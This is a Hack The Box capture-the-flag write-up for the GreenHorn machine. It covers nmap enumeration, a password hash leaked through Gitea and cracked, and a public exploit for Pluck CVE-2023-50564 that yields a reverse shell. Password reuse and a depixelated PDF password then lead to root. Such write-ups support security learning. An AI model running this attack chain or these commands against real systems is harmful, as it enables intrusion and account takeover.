GreenHorn is an easy difficulty machine from Hack The Box. It contains a website that was created using a version of the Pluck content management system that is vulnerable to an authenticated arbitrary file upload. There is also a Gitea instance running on the box that leaks the Pluck admin password hash. After cracking the hash and logging into Pluck, the arbitrary file upload vulnerability is abused to gain a reverse shell. Reusing the cracked password against one of the user accounts leads to the takeover of that account. After gaining a foothold, a PDF with a pixelated password is discovered in the user’s /home directory. Using an open source tool, the password is depixelated, and used to gain access to the root user.
Enumeration
Enumeration started with an nmap scan.
Nmap
nmap -sCV -oN scan --reason --stats-every=30s TARGET-IP
After the scan finished, it produced the following results.
Nmap scan report for TARGET-IP
Host is up, received syn-ack (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open ppp? syn-ack
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=0d28aeb6e0069264; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=6j0kLhjWWNJUajBBP-n4-7l1Dew6MTcyMzM1Njg5MTM5NjUyMTMzOQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 11 Aug 2024 06:14:51 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=94aebeee31a50274; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=f7ooldYO3otP3pqjat8JxH6Rz9A6MTcyMzM1Njg5NzY4MDcwMzU2NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 11 Aug 2024 06:14:57 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...<SNIPPED FINGERPRINT>...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.86 seconds
From the output, I could see that the following ports were open and listening:
| Port | Service | Remarks |
|---|---|---|
| 22 | SSH | Remote login |
| 80 | HTTP | Web server |
| 3000 | ¯\_(ツ)_/¯ | ¯\_(ツ)_/¯ |
nmap couldn’t identify which service was running on port 3000, and it included a massive fingerprint of the service (which I removed for the sake of readability). Port 80 was the most logical place to begin the enumeration, as it would provide context around the server that I was attacking.
The scan results showed that the box was forwarding requests to http://greenhorn.htb, which was also evident when trying to navigate directly to the IP of the box in a web browser:

I added the target IP address to my /etc/hosts file to get around this:
TARGET-IP greenhorn.htb
With that out of the way, I began enumerating the box’s website.
Website
The website appeared to be some kind of blog. It described a community of web developers aimed at getting junior devs started in their careers of writing HTML and CSS (that’s what web devs do right?).

The footer of the site showed that it was powered by a technology called pluck. After a quick Google, I learned that pluck is a lightweight open source content management system written in PHP. It wasn’t immediately apparent which version was running on the box, and so further enumeration was required.
robots.txt
I checked to see if there was a robots.txt file, and indeed there was.
1User-agent: *
2Disallow: /data/
3Disallow: /docs/
Attempting to navigate to those locations led back to the homepage, and to a 403 Forbidden page respectively. Not a lot to see there.
Pluck Docs
Clicking the pluck link at the bottom of the website homepage led to the Pluck GitHub repo wiki, which was where the documentation for Pluck was kept.
Something that I always like to do when I read the documentation of an application that I’m testing is to find out how passwords and authentication are handled. What format are the credentials stored in? Where are they stored? What kind of database does the app use?
The documentation for Pluck was quite small, and so there weren’t many places to look. On the bottom of the Frequently Asked Questions page, there was an entry for changing the password:

The documentation had given me the location of the password hash for Pluck. All I needed to do was read the value of $ww in data/settings/pass.php. The only problem with that was that I didn’t have the application source code that was in use on the server. Or did I?
CVE-2023-50564
Going back to the website homepage, clicking on the admin link at the bottom led to a login page.

This page revealed the verison of Pluck that was in use: 4.7.18. With this information in hand, I went to see if there were any exploitable vulnerabilities that I could use. It didn’t take long to find one…
A quick Google showed that version 4.7.18 of Pluck was vulnerable to an arbitrary file upload. This would allow an attacker to upload a PHP web shell, leading to remote code execution. There was just one problem, I needed to be able to log into Pluck to exploit this vulnerability. I didn’t know the password, but I knew where Pluck kept it. Then I remembered that nmap showed that there was another port open…
Gitea
nmap showed that port 3000 was open, and navigating to http://TARGET-IP:3000 revealed an installation of Gitea running on the box. Gitea is like a self-hosted version of GitHub.

I clicked on Explore to see if there were any projects that were viewable, and sure enough there was one; GreenHorn. It was the source code for the instance of Pluck that was running on the box. The first place I checked was data/settings/pass.php, and there I found the password hash.
1<?php
2$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
3?>
I chucked the hash into CrackStation, and after I proved that I wasn’t a robot for the umpteenth time in my short human life, it revealed the password to be iloveyou1.

Foothold
From my earlier research, I knew that the box was vulnerable to CVE-2023-50564, and it didn’t take much googling to find an exploit that I could use against the box.
I found this exploit script on GitHub, written in Go. It required the following information to be supplied before launching an attack:
- Target IP address
- Port to receive the reverse shell on
Pluckpassword- Base URL of the vulnerable
Pluckinstallation
Putting everything together, I ran the following command to attempt to gain a reverse shell:
go run exploit.go -i 'TARGET-IP' -p 4444 -password 'iloveyou1' -url 'http://greenhorn.htb'
However… this didn’t work. Instead, I got the following error:
panic: Post "http://greenhorn.htb/login.php": proxyconnect tcp: dial tcp [::1]:8080: connect: connection refused
Digging into the script code showed that it was attempting to proxy the traffic through http://localhost:8080.
38loginRequest.Header.Add("Content-Type", "application/x-www-form-urlencoded")
39jar, _ := cookiejar.New(nil)
40proxyUrl, _ := url.Parse("http://localhost:8080")
41transport := &http.Transport{ Proxy: http.ProxyURL(proxyUrl) }
The Burp Suite proxy listens on localhost:8080. To enable the script to proxy traffic through localhost:8080 without needing to modify the code, I started burp with intercept disabled.
Running the script again successfully returned a reverse shell. I upgraded the shell using python:
listening on [any] 4444 ...
connect to [ATTACKER-IP] from (UNKNOWN) [TARGET-IP] 37104
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@greenhorn:~/html/pluck$
Post Exploitation
After gaining the reverse shell, I landed on the server as the www-data user.
Lateral Movement
The first thing that I did was check the /etc/passwd file to get the names of the other users on the box. Given that I already had a valid password, I wanted to see if any users had been foolish enough to reuse that password.
cat /etc/passwd | grep /bin
There were only three users on this particular box:
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
I checked the junior user first:
www-data@greenhorn:~/html/pluck$ su junior
Password:
junior@greenhorn:/var/www/html/pluck$
Just like that, I took over the junior user account. I couldn’t SSH into the box as junior as they were configured to log in with SSH keys (which I didn’t have), so I had to stick to using the reverse shell.
Pixely PDF
After taking over the junior user account, I checked their /home directory to see if there were any interesting files in there. There was one; Using OpenVAS.pdf. Downloading files with spaces in the name using wget is a pain because of the spaces getting URL encoded, so I just copied the file and named it something more managable.
cp 'Using OpenVAS.pdf' ./using-openvas.pdf
I then started a python web server on the target so that I could pull the file off of it.
python3 -m http.server
Next, I downloaded my copy of the file.
wget http://TARGET-IP:8000/using-openvas.pdf
Opening the file showed something very interesting indeed.

That pixelated password was going to allow me to takeover root, but obviously I couldn’t read it in that pixely form. Back to Google I went.
Depixelate
At first I googled for PDF enhancers, which got me nowhere. The password was much too pixelated for a simple text enhancement. Googling specifically for how to depixelate passwords from PDFs led me to the tool Depix. It uses “search images” (which are just images of a certain typeface on top of a coloured background) to attempt to depixelate passwords like the one in the PDF that I downloaded from the box.
For Depix to be able to do it’s job, it needed to be fed an image file that contained all of the password pixels. The pixelated password in the PDF was an image, and there were a couple of methods available for extracting it.
The most simple method was to right click the pixelated image and click Save Image As..., but where’s the fun in that?

The more programmatic (and over the top) method was to use the popular pdf toolkit poppler-utils. It contains a utility pdfimages that is able to extract all images files from a PDF. It needs to know the following information:
- The page of the PDF to start from
- The page of the PDF to end on
- The format to output the images as
- The name of the PDF file to extract images from
- A name for the output image(s)
I began by installing poppler-utils:
sudo apt install poppler-utils
After it was installed, I extracted the image from the PDF using pdfiamges:
# start on page 1, end on page 1, output as PNG, from using-openvas.pdf file, and name the output "out-image"
pdfimages -f 1 -l 1 -png using-openvas.pdf out-image
Finally, I ran Depix on the pixelated image using the debruinseq_notepad_Windows10_closeAndSpaced.png image from the Depix repo as the search image:
python3 depix.py -p out-image-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o depixelated.png
The result it produced was quite impressive, considering what it started with.

There was the password clear as day; sidefromsidetheothersidesidefromsidetheotherside
Root
With the password in hand, all that was left to do was to switch to the root user.
junior@greenhorn:~$ su root
Password:
root@greenhorn:/home/junior#

Comments
Nothing yet. Say the first thing.
Sign in to join the conversation.